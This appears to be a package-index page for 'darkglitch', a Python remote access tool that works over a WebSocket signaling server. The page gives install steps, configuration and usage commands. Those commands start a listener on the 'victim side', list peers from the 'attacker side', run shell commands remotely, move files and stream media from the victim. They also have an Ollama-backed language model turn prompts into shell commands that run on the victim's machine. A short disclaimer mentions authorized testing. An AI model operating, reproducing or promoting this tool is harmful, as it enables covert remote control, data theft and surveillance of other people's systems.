Skip to main content

Remote command delivery and media streaming tool over WebRTC signaling

Project description

darkglitch

darkglitch is a lightweight Python proof-of-concept for remote command execution, file transfer, and media streaming over a WebSocket signaling channel. It is intended for authorized security testing and educational use.

What it supports

  • start a listener that registers a client and waits for commands
  • list online peers in the same signaling room
  • run shell commands remotely
  • upload and download files
  • stream media from a connected client
  • generate a shell command from a natural-language prompt using an AI provider

Requirements

  • Python 3.10+
  • dependencies from requirements.txt
  • an Ollama instance if you want to use the AI prompt mode

Installation

From the project root:

python3 -m venv .venv
source .venv/bin/activate
pip install -e .

If you want the AI prompt mode, install the Ollama client package as well:

pip install ollama

Configuration

Edit core/config.py to point the client at your signaling server and room:

HOST = "https://your-signal-server.example/"
ROOM = "your-room"

Usage

1. Start a listener (victim side)

python darkglitch.py -l -c

2. List online peers (attacker side)

python darkglitch.py -ol

3. Send a remote command

python darkglitch.py -c <client_id> "whoami"

4. Use an AI-generated bash prompt

python darkglitch.py -ai <client_id> "list all folders in root"

This uses an Ollama-backed provider to turn your prompt into a shell command before executing it remotely.

5. Upload or download files

python darkglitch.py -u <client_id> /path/to/local/file /path/to/remote/file
python darkglitch.py -d <client_id> /path/to/remote/file /path/to/local/file

6. Request a media stream

python darkglitch.py -s <client_id>

Help and version

python darkglitch.py -h
python darkglitch.py -v

AI setup

If you want to use the AI prompt mode, make sure Ollama is installed and running:

ollama serve
ollama pull deepseek-r1:14b

You can override the default model and timeout if needed:

export OLLAMA_MODEL=llama3.2:3b
export OLLAMA_TIMEOUT=60

Notes

This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

darkglitch-1.1.7.tar.gz (30.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

darkglitch-1.1.7-py3-none-any.whl (33.9 kB view details)

Uploaded Python 3

File details

Details for the file darkglitch-1.1.7.tar.gz.

File metadata

  • Download URL: darkglitch-1.1.7.tar.gz
  • Upload date:
  • Size: 30.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.6

File hashes

Hashes for darkglitch-1.1.7.tar.gz
Algorithm Hash digest
SHA256 ff00aea594d7897b774042b00e74be4639c31bdd6799c3a9e86f77127aa78d40
MD5 c83e75c2cbaf104750c4000cd1ea90c2
BLAKE2b-256 2b09bfaaa7b998cd07bdbfc307138cdb04da0328f6a9ff427d7ef496b13c22d9

See more details on using hashes here.

File details

Details for the file darkglitch-1.1.7-py3-none-any.whl.

File metadata

  • Download URL: darkglitch-1.1.7-py3-none-any.whl
  • Upload date:
  • Size: 33.9 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.6

File hashes

Hashes for darkglitch-1.1.7-py3-none-any.whl
Algorithm Hash digest
SHA256 f647c9a021a2390d43c5ef76ce654c9a8b24dc474c784eaf8bdc9e8be66a223d
MD5 cdf2b6a32f3f30d9fd96efe698de57aa
BLAKE2b-256 5510341e0b4fcc1c712b17b96e381071d4d6ffa130bea34371f024a7dac858af

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page